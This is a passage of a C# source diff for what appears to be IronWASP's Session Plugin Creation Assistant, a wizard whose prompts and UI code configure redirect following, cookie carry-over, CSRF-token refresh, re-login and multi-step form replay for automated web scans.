from previous response + internal const string HandleMultiStep__ToInjectRequestParametersStep = "HandleMultiStepToInjectRequestParametersStep"; + //Ask user for the source of the request to be sent after injection + internal const string HandleMultiStep__PostInjectionRequestSourceStep = "HandleMultiStepPostInjectionRequestSourceStep"; + //Ask user for the parameters of current request that must be updated from previous response + internal const string HandleMultiStep__PostInjectionRequestParametersStep = "HandleMultiStepPostInjectionRequestParametersStep"; + //Ask user if another request must be sent after injection + internal const string HandleMultiStep__MorePostInjectionRequestStep = "HandleMultiStepMorePostInjectionRequestStep"; + //Display the Psedudo Code to the user + internal const string HandleMultiStep__ShowPseudoCodeStep = "HandleMultiStepShowPseudoCodeStep"; + + //PluginCreation + //Ask user for the name of the plugin + internal const string PluginCreation__PluginNameStep = "PluginCreationPluginNameStep"; + //Ask user which language the plugin must be created in + internal const string PluginCreation__LanguageStep = "PluginCreationLanguageStep"; + //Final step + internal const string PluginCreation__FinalStep = "PluginCreationFinalStep"; + + #endregion + + + #region Questions + + static string GenericQuestionToSpecifyRequestSource = @"{0} + +An existing request from one of the logs can be picked. + +Specify the Request to pick by mentioning the Log Source and the ID number of the Request inside the log. + +Also mention a name to this request, this name will be used to refer to this request in the SessionPlugin trace messages. + +"; + + + static string GenericQuestionToShowPseudoCode = @"{0} +The answers provided by you will be used to generate the Session Plugin. + +If you wish to provide the same set of answers again then you don't have to answer the all the questions in the UI. + +Instead just provide the Pseudo Code that is displayed below. + +The Pseudo Code is an exact representation of your answers and will be used for making the Session Plugin. + +Please go back to the main menu answer further questions or to create a Session Plugin based on your answers. + +"; + + static Dictionary Questions = new Dictionary() { + //Home Menu + {HomeMenu__BaseStep, @" +>Session Plugin Creation Assistant - Main Menu> + +This assistant will help you create a Session Plugin that can handle custom site behaviours like login, csrf token update etc. + +This session plugin can be used in your Automated Scan Jobs, Log Tester, Fuzzers or any other tools that support them. + +Depending on which action you want to program you can select an option from below. Selecting the option will show more details about it. + +Once you have defined how any one or more of these actions must be performed you can create a Session Plugin by clicking the appropriate button below. + +"}, + //Handle Redirect + {HandleRedirect__BaseStep, @" +>Follow Responses with Redirect> + +When the request that you are scanning/testing returns a response which is a 301 or 302 redirect to another location then you could choose to follow that response. + +This can be handy in scenarios where the application always returns a redirect for a request and following the redirect will display the actual result of the first request. + +In such cases it would be better if the scanner or the testing tool performed its analysis on the response got after following the redirect. + +If you wish to add this action to the Session Plugin then select 'Yes' below and hit 'Submit'. + +If you have already defined this action and have corresponding Pseudo Code that you would like to provide then select the 'Pseudo Code' option below. + +"}, + {HandleRedirect__ResponseSignatureStep ,@">Redirect Signature Definition> + +You can define when a redirect must be followed by specifying the signature of the response that you would like to be followed. + +The signature is defined by specifying the response code and optionally the value of the location header. + +If you don't define a signature then all redirects will be followed. + +"}, + {HandleRedirect__EnterPseudoCodeStep, @">Follow Redirect Pseudo Code> + +If you have already defined the follow redirect action then enter the corresponding pseudo code below. + +"}, + {HandleRedirect__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Redirect Action> +>>")}, + // Handle SetCookies + {HandleSetCookies__BaseStep, @">Read Set-Cookies from Response> + +If the response recieved after sending the main request being scanned or tested has Set-Cookie headers then you can define if these values must be added to the cookie of the next main request that is sent. + +Only those Set-Cookie values whose names will be mentioned will be updated in the Cookie header of the next main request. + +If you wish you specify the Set-Cookie values then selected 'Yes' and hit 'Submit' + + "}, + {HandleSetCookies__ParameterNames, @">Set-Cookies Names> + +Enter the names of the Set-Cookie headers that you want to be updated in the Cookie header of the next main request. + +Enter the names one per line. + +"}, + //Handle CSRF Tokens + {HandleCSRFTokens__BaseStep, @">CSRF-token updating> + +Some requests might have a CSRF token parameter whose value needs to be updated everytime after it is sent or if the underlying session id changes. + +If the main request being scanned/tested has such a parameter or any other parameter that needs to be updated before it is sent then you can define that action in this section. + +If you wish you define this action then select 'Yes' and hit the 'Submit' button. + +If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. + + "}, + {HandleCSRFTokens__PseudoCodeStep, @">CSRF-token Update Pseudo Code> + +If you have already defined the csrf-token update action then enter the corresponding pseudo code below. + +"}, + {HandleCSRFTokens__ParameterSourceStep, @">CSRF-token Source Definition> + +Before the CSRF-token or any other value can be updated in the request we must get it from some source. + +There are two supported sources: + +1) Send another request and extract the values from the response of this request + +2) During the scan or test display a pop-up box asking the user to enter this value. (Useful for entering RSA tokens or solving captchas) + + +Depending on from where you would like to get the token value, select an option below. + +Please note that when you select the first option in addition to extract some values from the response of another request, you can also choose to update some parameters by prompting the user. + +"}, + {HandleCSRFTokens__RequestToSendForResponseStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to get CSRF-token> + +You have chose to send a request and extract the token from the response. Enter the details of the request that must be used for this purpose. + +")}, + {HandleCSRFTokens__ParametersStep, @">'{0}' CSRF-token Parameter Update Definition> + +The parameters of the '{0}' will be updated based on your requirements. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. + +If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. + +If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. + +For example if the token appears inside the SCRIPT tag of the response as below: + +var c_token = 'ksd9283-asdjsd023-askjd23'; + +Then the regex to extract this token would be: var c_token = '(.*?)'; + +If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +"}, + {HandleCSRFTokens__ParametersAskUserOnlyStep, @">'{0}' CSRF-token Parameter Update Definition> + +The parameters of the '{0}' will be updated based on your requirements. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +The value of this parameter will be got from the user by throwing a prompt, provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +"}, + {HandleCSRFTokens__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle CSRF-tokens Action> +>>")}, + //Handle Login + {HandleLogin__BaseStep, @">Handle Login> + +If you are scanning or testing a request that belongs to the post-authentication section of the site then it is important to check if the user is still logged in and if the user is logged out a proper login must be performed and the new session information must be updated in the main request before it is sent to the server. + +This section will let you define how to check if the user is still logged in and also to perform a proper login and updating of new session information. + +If you wish you define this action then select 'Yes' and hit the 'Submit' button. + +If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. + +"}, + {HandleLogin__PseudoCodeStep, @">Handle Login Pseudo Code> + +If you have already defined the handle login action then enter the corresponding pseudo code below. + +"}, + {HandleLogin__LoggedinCheckRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to check Logged in status> + +A simple request must be sent to check if the user is still logged in. This could be the request to the user's profile page or welcome page depending on the site's design. + +In any case this must be a request that gives two different responses based on the logged in status of the user so that the response can be analyzed to determine this. + +Specify such a request which will used for this purpose. This request will be referred to as the 'Login Check Request' in subsequent sections. + +")}, + {HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep, @">Analyze response of the 'Login Check Request'> + +Once the 'Login Check Request' is sent and a response it recieved it must be analyzed to determine the current login status. + +Since the response will be different for logged in and logged out status you can provide a signature for either one of those statuses. + +Choose the one status that is easier to define using the options below. The options for analysis include checking the response code, response title, response body and/or response redirect location (in case of a redirect). + +For example if the response would be a 200 for logged in status and a 302 to login.php for logged out status then it would suffice to select the 'Logged Out Signature' option and enter the status code as 302. + +But if the differnce is not that obvious then you can make use of the other options to provide a reliable signature. + +"}, + {HandleLogin__LoginRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send to perform login> + +If the analysis of the 'Login Check Request' shows that the user is logged out then a login must be performed. + +This is done by sending a request that has the user's authentication credentials (username, password, rsa tokens etc). + +Specify this request. This request will be referred to as the 'Login Request' in subsequent sections. + +")}, + {HandleLogin__ShouldUpdateLoginRequestStep, @">Updating the 'Login Request'> + +If the 'Login Request' contains any parameters that need to be updated before sending it then it can be handled. + +These could be CSRF-tokens in the 'Login Request' or one-time passwords like RSA tokens that must be entered by the user exactly at the time of login. + +If such updates need to be performed on the 'Login Request' then select 'Yes' and hit 'Submit'. + + "}, + {HandleLogin__IsPreLoginRequestNeededStep, @">Should a 'Pre Login Request' be sent> + +You have chose to update some of the parameters of the 'Login Request' before it is sent. + +If any of these parameters need to be updated with values from the response of another request then it can be done. This is a typical requirement in case of CSRF-tokens. + +If another request must be sent to extract parameter value from the response and use in the 'Login Request' then select 'Yes' and hit 'Submit' + +"}, + {HandleLogin__PreLoginRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">Request to send before sending the 'Login Request'> + +You have chose to send a request before sending the 'Login Reqeust' and extract some parameter value from the response and use it to update the 'Login Request'. + +Specify of the details of this request. This request will be referred to as the 'Pre Login Request' in subsequent sections. + +")}, + {HandleLogin__LoginRequestParametersStep, @">'Login Request' Parameter Update Definition> + +The parameters of the 'Login Request' will be updated based on your requirements. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the 'Pre Login Request' request then you must specify how this value can be extracted. + +If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. + +If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. + +For example if the token appears inside the SCRIPT tag of the response as below: + +var c_token = 'ksd9283-asdjsd023-askjd23'; + +Then the regex to extract this token would be: var c_token = '(.*?)'; + +If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +"}, + //"Choose how the parameters of the 'Login Request' must be updated from the response of the 'Pre Login Request'."}, + {HandleLogin__ToInjectRequestParametersStep, @">Update New Session values after Successful Login> + +Once the 'Login Request' is sent and the authentication happens in the server the new session values must be updated in to the 'Main Request'. + +If the session identifier is stored in the cookie and the response of the 'Login Request' contained the new session identifier in its Set-Cookie header then this is automatically updated in the 'Main Request' and no action is required from your side. + +However if this application stores session identifiers in hidden form field parameters or in some other places then you would have to extract it from the response of the 'Login Request' and update this in to the 'Main Request'. + +You can define how this should be done. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the 'Login Request' request then you must specify how this value can be extracted. + +If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. + +If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. + +For example if the token appears inside the SCRIPT tag of the response as below: + +var c_token = 'ksd9283-asdjsd023-askjd23'; + +Then the regex to extract this token would be: var c_token = '(.*?)'; + +If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +"}, + //"Once the 'Login Request' is sent and we get authenticated, we must update the 'Main Request' with updated session values. Choose how the parameters of the 'Main Request' must be updated from the response of the 'Login Request'. Please notes that cookies are updated automatically from set-cookie headers in this step."}, + {HandleLogin__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Login Action> +>>")}, + //MutliStep Form + {HandleMultiStep__BaseStep, @">Handle Multi-step Form Submission> + +Sometimes applications have multi-step forms where there would user will be asked to complete a series of steps and at the final step all entered data will be processed. + +If you are scanning or testing a request that belongs any one of these steps then the requests that come before and after it must be sent everytime and the response of the final step must be used for analysis instead of the response of the 'Main Request'. + +If such behaviour is required then you can define it here by selecting 'Yes' below and hitting the 'Submit' button. + +If you have already defined this action and have the corresponding Pseudo Code and you like to use the same then selected the 'Pseudo Code' option. + +"}, + {HandleMultiStep__PseudoCodeStep, @">Handle Multi-step Form Submission Pseudo Code> + +If you have already defined the multi-step form submission action then enter the corresponding pseudo code below. + +"}, + {HandleMultiStep__BeforeAfterInjectionSelectionStep, @">Multi-step Form Submission Definition> + +If you have chosen to define that actions for multi-step form submission. + +Specify if would want to do other steps of the form submission only before sending the 'Main Request' or only after sending the 'Main Request' or both before and after sending the 'Main Request'. + +For example if the 'Main Request' is the first step of multi-step form submission then you would want to select the second option where the other steps are performed only after the 'Main Request'. + +If the 'Main Request' is the last step then you would want to select the first option where the other steps are performed only before the 'Main Request' + +If the 'Main Request' is one of the intermediate steps then you would want to select the third option where some steps must be performed before the 'Main Request' and some after. + +"}, + {HandleMultiStep__PreInjectionRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">{0} Request to send before 'Main Request'> + +You have chose to sends some requests before sending the 'Main Request', please specify the {0} request that must be sent. + +Provide an approprite name for this request, it will be referred using this name in the subsequent sections and the Session Plugin trace messages. + +")}, +//@"Specify the source of the {0} request that must be sent before injection."}, + {HandleMultiStep__PreInjectionRequestParametersStep, @">'{0}' Parameter Update Definition> + +The parameters of the '{0}' will be updated based on your requirements. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. + +If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. + +If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. + +For example if the token appears inside the SCRIPT tag of the response as below: + +var c_token = 'ksd9283-asdjsd023-askjd23'; + +Then the regex to extract this token would be: var c_token = '(.*?)'; + +If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +If you don't wish to update any parameters just hit 'Submit' + +"}, + {HandleMultiStep__MorePreInjectionRequestStep, @">More Requests before 'Main Request'?> + +Should more requests be sent before sending the 'Main Request'? + +"}, + {HandleMultiStep__PostInjectionRequestSourceStep, string.Format(GenericQuestionToSpecifyRequestSource, @">{0} Request to send after 'Main Request'> + +You have chose to sends some requests after sending the 'Main Request', please specify the {0} request that must be sent. + +Provide an approprite name for this request, it will be referred using this name in the subsequent sections and the Session Plugin trace messages. + +")}, +//@"Specify the source of the {0} request that must be sent after injection."}, + {HandleMultiStep__PostInjectionRequestParametersStep, @">'{0}' Parameter Update Definition> + +The parameters of the '{0}' will be updated based on your requirements. + +You must first specify the section of the request the parameter belongs to like Query, Body etc and the name of the parameter. This way the parameter to update can be identified. + +If you want to update the path section of the URL incase the server is using URL Rewriting then select 'UrlPathPart' and give the zero-based index of the path section you want to update. + +Then the value to update this parameter with must be made ready. If the value is being extracted from a response of the '{1}' request then you must specify how this value can be extracted. + +If this value occurs inside the value attribute of input tags in the response then it is taken from the first input tag that has the same name as the parameter name provided earlier. + +If this value occurs in a different place then you can provide a regex to extract this value. This regex will be used on the entire response body and the first match will be used. + +For example if the token appears inside the SCRIPT tag of the response as below: + +var c_token = 'ksd9283-asdjsd023-askjd23'; + +Then the regex to extract this token would be: var c_token = '(.*?)'; + +If you would want to get the value of this parameter from the user by throwing a prompt then you can select that option and provide a hint that will be included in the prompt to help the user identify the correct parameter. + +You can choose to update multiple parameters in this section. After you are done defining the parameters and the parameters are listed in the table at the bottom you can submit this definition. + +If you don't wish to update any parameters just hit 'Submit' + +"}, + {HandleMultiStep__MorePostInjectionRequestStep, @">More Requests after 'Main Request'?> + +Should more requests be sent after sending the 'Main Request'? + +"}, + {HandleMultiStep__ShowPseudoCodeStep, string.Format(GenericQuestionToShowPseudoCode, @">Pseudo Code for Handle Multi-step Form Submission Action> +>>")}, + //PluginCreation Form + {PluginCreation__PluginNameStep, @">Choose a name for the Session Plugin> + +A Session Plugin will be created based on the actions you have defined. Please provide a name for this plugin. + +The name for the plugin should only consist of alphabets and should not match any of the existing Session Plugin names. After you type in the name of your choice, press the Enter key on your keyboard. + +The following are the existing Session Plugin names: + +{0} + + "}, + {PluginCreation__LanguageStep, @">Choose the language for the Session Plugin> + +The Session Plugin can be created in Python or Ruby. You could choose one based on which language is more familiar to you. This will help you review the plugin if you wish to and make modifications to it directly. + +If you don't know what Python/Ruby mean or you don't know programming then you can just randonmly select one of the two choices, they both provide the same functionality. + +"}, + {PluginCreation__FinalStep, @">Session Plugin Creation Complete> + +The Session Plugin can be created based on the inputs provided by you. + +You can now use this in sections of IronWASP that support Session Plugins. Just select the one with the name provided by you when you are prompted to select a Session Plugin. + +As the Session Plugin runs and executes the actions you defined it prints out trace messages so that you can follow how and if it is working properly. + +These messages can be found at 'Dev' -> 'Trace' -> 'Session Plugin Traces'. + +You can click on any of the entries to view details. + +The file containing the code itself can be found at {0} + +You can view it using your favourite ide or use the Script/Plugin editor available under the Dev Tools menu. If you make any changes to the code then save the file, go the 'Dev' -> 'Plugins & Modules' section, you can see all the Plugin names listed on the left-hand side. Click on the name of your Session Plugin, once its selected do a right-click on it and select 'Reload Selected Module'. This will update the plugin in memory so that you changes take effect. +"}, + +}; + + + static Dictionary> QuestionOptions = new Dictionary>() { + //Home Menu + {HomeMenu__BaseStep, new List(){"Read Set-Cookie headers","Update CSRF tokens and/or other parameters in request", "Handle Login", + "Follow Redirects", "Handle Multi-step Form Submission"}}, + + //Handle Redirect + {HandleRedirect__BaseStep, new List(){"Yes, define handle redirect action", "No, go back to main menu", "I have Pseudo Code for this action"}}, + + // Handle SetCookies + {HandleSetCookies__BaseStep, new List(){"Yes, define take the Set-Cookie parameter names", "No, go back to main menu"}}, + + //Handle CSRF Tokens + {HandleCSRFTokens__BaseStep, new List(){"Yes, define csrf-totken update action", "No, go back to main menu", "I have Pseudo Code for this action"}}, + + {HandleCSRFTokens__ParameterSourceStep, new List(){"Send another request and get values from its response", "Ask the user everytime"}}, + + //Handle Login + {HandleLogin__BaseStep, new List(){"Yes, define handle login action", "No, go back to main menu", "I have Pseudo Code for this action"}}, + + {HandleLogin__ShouldUpdateLoginRequestStep, new List(){"Yes", "No"}}, + + {HandleLogin__IsPreLoginRequestNeededStep, new List(){"Yes", "No"}}, + + //MutliStep Form + {HandleMultiStep__BaseStep, new List(){"Yes", "No, go back to main menu", "I have Pseudo Code for this action"}}, + + {HandleMultiStep__BeforeAfterInjectionSelectionStep, new List(){"Before 'Main Request' only", "After 'Main Request' only", "Both before and after"}}, + + {HandleMultiStep__MorePreInjectionRequestStep, new List(){"Yes", "No" }}, + + {HandleMultiStep__MorePostInjectionRequestStep, new List(){"Yes", "No"}}, + + //PluginCreation Form + {PluginCreation__LanguageStep, new List(){"Python", "Ruby"}}, + }; + + #endregion + + + + string CurrentSection = HomeMenu; + + string CurrentStep = "-"; + + public SessionPluginCreationAssistant() + { + InitializeComponent(); + } + + void ShowError(string Error) + { + switch(CurrentQuestionType) + { + case(QuestionTypeTextAnswer): + StatusTB.Text = Error; + StatusTB.ForeColor = Color.Red; + StatusTB.Visible = true; + break; + case (QuestionTypeRequestSourceAnswer): + RequestSourceAnswerMsgTB.Text = Error; + RequestSourceAnswerMsgTB.ForeColor = Color.Red; + RequestSourceAnswerMsgTB.Visible = true; + break; + case (QuestionTypeParametersAnswer): + ParametersAnswerMsgTB.Text = Error; + ParametersAnswerMsgTB.ForeColor = Color.Red; + ParametersAnswerMsgTB.Visible = true; + break; + case (QuestionTypeResponseSignatureAnswer): + SignatureAnswerMsgTB.Text = Error; + SignatureAnswerMsgTB.ForeColor = Color.Red; + SignatureAnswerMsgTB.Visible = true; + break; + case(QuestionTypeSelectOptionAnswer): + SelectOptionAnswerMsgTB.Text = Error; + SelectOptionAnswerMsgTB.ForeColor = Color.Red; + SelectOptionAnswerMsgTB.Visible = true; + break; + } + } + //void ShowStatus(string Status) + //{ + // StatusTB.Text = Status; + // StatusTB.ForeColor = Color.Black; + // StatusTB.Visible = true; + //} + void ClearStatus() + { + StatusTB.Visible = false; + StatusTB.Text = ""; + } + + #region ShowQuestions + void ShowQuestion(string Question, bool ExpectOneLineInput) + { + ClearStatus(); + SetQuestionText(Question); + + BigAnswerTB.Text = ""; + AnswerTB.Text = ""; + + if (ExpectOneLineInput) + { + AnswerTB.Enabled = true; + BigAnswerTB.Enabled = false; + AnswerTB.Focus(); + } + else + { + BigAnswerTB.Enabled = true; + AnswerTB.Enabled = false; + BigAnswerTB.Focus(); + } + CurrentQuestionType = QuestionTypeTextAnswer; + AnswerTabs.SelectTab("TextAnswerTab"); + } + + void ShowRequestSourceQuestion(string Question, string RequestName) + { + SetQuestionText(Question); + RequestSourceAnswerMsgTB.Text = ""; + RequestSourceCombo.Text = ""; + RequestSourceCombo.SelectedIndex = 0; + RequestSourceIdTB.Text = ""; + if (RequestName.Length > 0) + { + RequestSourceNameTB.Text = RequestName; + RequestSourceNameTB.Enabled = false; + } + else + { + RequestSourceNameTB.Text = ""; + RequestSourceNameTB.Enabled = true; + } + CurrentQuestionType = QuestionTypeRequestSourceAnswer; + AnswerTabs.SelectTab("RequestSourceAnswerTab"); + } + + void ShowResponseSignatureQuestion(string Question, bool FullResponse) + { + SetQuestionText(Question); + SignatureAnswerMsgTB.Text = ""; + + SignatureResponseCodeTB.Text = ""; + + UseLocationSignatureCB.Checked = false; + LocationSignatureTypeSelectCombo.SelectedIndex = 2; + LocationSignatureKeywordTB.Text = ""; + LocationSignatureKeywordTB.Enabled = false; + + LoggedInResponseSignatureRB.Checked = false; + LoggedOutResponseSignatureRB.Checked = false; + + UseTitleSignatureCB.Checked = false; + TitleSignatureTypeSelectCombo.SelectedIndex = 2; + TitleSignatureKeywordTB.Text = ""; + + UseBodySignatureCB.Checked = false; + BodySignatureTypeSelectCombo.SelectedIndex = 2; + BodySignatureKeywordTB.Text = ""; + + LocationSignatureTypeSelectCombo.Enabled = false; + if (FullResponse) + { + FullResponseSignatureFirstPanel.Visible = true; + FullResponseSignatureSecondPanel.Visible = true; + + TitleSignatureTypeSelectCombo.SelectedIndex = 2; + TitleSignatureTypeSelectCombo.Enabled = false; + TitleSignatureKeywordTB.Enabled = false; + + BodySignatureTypeSelectCombo.SelectedIndex = 2; + BodySignatureTypeSelectCombo.Enabled = false; + BodySignatureKeywordTB.Enabled = false; + } + else + { + FullResponseSignatureFirstPanel.Visible = false; + FullResponseSignatureSecondPanel.Visible = false; + } + ResponseSignatureFullResponse = FullResponse; + CurrentQuestionType = QuestionTypeResponseSignatureAnswer; + AnswerTabs.SelectTab("ResponseSignatureTab"); + } + + void ShowParameterUpdateQuestion(string Question, bool AskUserOnly) + { + SetQuestionText(Question); + ResetParameterAnswerFields(true); + + ParametersAnswerAskUserOnly = AskUserOnly; + CurrentQuestionType = QuestionTypeParametersAnswer; + AnswerTabs.SelectTab("ParameterAnswerTab"); + } + + void ShowSelectOptionQuestion(string Question, List Options, string SpecialOptionText) + { + SetQuestionText(Question); + ResetParameterAnswerFields(true); + + OptionsGrid.Rows.Clear(); + foreach (string Option in Options) + { + OptionsGrid.Rows.Add(new object[]{false, Option}); + } + + if (OptionsGrid.Rows.Count > 0) + SelectedOptionSubmitBtn.Enabled = true; + else + SelectedOptionSubmitBtn.Enabled = false; + + SpecialOptionBtn.Text = SpecialOptionText; + + if (SpecialOptionText.Length > 0) + SpecialOptionBtn.Visible = true; + else + SpecialOptionBtn.Visible = false; + + + CurrentQuestionType = QuestionTypeSelectOptionAnswer; + AnswerTabs.SelectTab("SelectOptionTab"); + } + + void ShowPreInjectionRequestSourceQuestion() + { + CurrentStep = HandleMultiStep__PreInjectionRequestSourceStep; + PreInjectionCounter++; + if (PreInjectionCounter == 1) + MultiStepActionPseudoCode = string.Format("PreInjectionCode:{0}", Environment.NewLine); + string Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestSourceStep], GetNumberWithSuffix(PreInjectionCounter)); + ShowRequestSourceQuestion(Q, ""); + } + + void ShowPostInjectionRequestSourceQuestion() + { + CurrentStep = HandleMultiStep__PostInjectionRequestSourceStep; + PostInjectionCounter++; + if (PostInjectionCounter == 1) + { + StringBuilder SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + SB.AppendLine("PostInjectionCode:"); + MultiStepActionPseudoCode = SB.ToString(); + } + string Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestSourceStep], GetNumberWithSuffix(PostInjectionCounter)); + ShowRequestSourceQuestion(Q, ""); + } + + void ShowPreInjectionParametersUpdateQuestions() + { + CurrentStep = HandleMultiStep__PreInjectionRequestParametersStep; + string Q = ""; + if (PreInjectionCounter == PreInjectionCounterMax) + //Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], "'ToInject'", GetNumberWithSuffix(PreInjectionCounter)); + Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], "'Main Request'", this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1]); + else + //Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], GetNumberWithSuffix(PreInjectionCounter), GetNumberWithSuffix(PreInjectionCounter - 1)); + Q = string.Format(Questions[HandleMultiStep__PreInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 2]); + ShowParameterUpdateQuestion(Q, false); + } + + void ShowPostInjectionParametersUpdateQuestions() + { + CurrentStep = HandleMultiStep__PostInjectionRequestParametersStep; + string Q = ""; + if (PostInjectionCounter == 1) + //Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], GetNumberWithSuffix(PostInjectionCounter), "'ToInject'"); + Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], "'Main Request'"); + else + //Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], GetNumberWithSuffix(PostInjectionCounter), GetNumberWithSuffix(PostInjectionCounter -1)); + Q = string.Format(Questions[HandleMultiStep__PostInjectionRequestParametersStep], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1], this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 2]); + ShowParameterUpdateQuestion(Q, false); + } + + void ShowPseudoCode(string Question, string PseudoCode) + { + SetQuestionText(Question); + ShowPseudoCodeTB.Text = PseudoCode; + CurrentQuestionType = QuestionTypeShowPseudoCode; + AnswerTabs.SelectTab("ShowPseudoCodeTab"); + } + + void SetQuestionText(string Question) + { + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(Question)); + SB.Append(@" \par"); + QuestionRTB.Rtf = SB.ToString(); + } + + + #endregion + + + #region ProcessAnswer + void ProcessUserAnswer() + { + switch(CurrentSection) + { + case(HomeMenu): + ProcessHomeMenuAnswer(); + break; + case (HandleRedirect): + ProcessHandleRedirectAnswer(); + break; + case (HandleCSRFTokens): + ProcessHandleCSRFTokensAnswer(); + break; + //case (HandleEncodedParameters): + // ProcessHandleEncodedParametersAnswer(); + // break; + case (HandleLogin): + ProcessHandleLoginAnswer(); + break; + case (HandleMultiStep): + ProcessHandleMultiStepAnswer(); + break; + case (HandleSetCookies): + ProcessHandleSetCookiesAnswer(); + break; + case(PluginCreation): + ProcessPluginCreationAnswer(); + break; + } + } + + void ProcessHomeMenuAnswer() + { + string Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case ("0"): + if (NamesOfCookieParametersToUpdate.Count > 0 || UpdateCSRFTokensPseudoCode.Length > 0 || LoginActionPseudoCode.Length > 0 || FollowRedirectPseudoCode.Length > 0 || MultiStepActionPseudoCode.Length > 0) + { + CurrentSection = PluginCreation; + CurrentStep = PluginCreation__PluginNameStep; + ShowQuestion(string.Format(Questions[PluginCreation__PluginNameStep], string.Join(">", SessionPlugin.List().ToArray())), true); + } + else + { + ShowError("You must first define 1 or more of the 5 actions before creating the Session Plugin"); + } + break; + case ("1"): + CurrentSection = HandleSetCookies; + CurrentStep = HandleSetCookies__BaseStep; + this.RequestNamesFromUserList.Clear(); + //ShowQuestion(Questions[HandleSetCookies__BaseStep], true); + ShowSelectOptionQuestion(Questions[HandleSetCookies__BaseStep], QuestionOptions[HandleSetCookies__BaseStep], ""); + break; + case("2"): + CurrentSection = HandleCSRFTokens; + CurrentStep = HandleCSRFTokens__BaseStep; + this.RequestNamesFromUserList.Clear(); + //ShowQuestion(Questions[HandleCSRFTokens__BaseStep], true); + ShowSelectOptionQuestion(Questions[HandleCSRFTokens__BaseStep], QuestionOptions[HandleCSRFTokens__BaseStep], ""); + break; + case ("3"): + CurrentSection = HandleLogin; + CurrentStep = HandleLogin__BaseStep; + 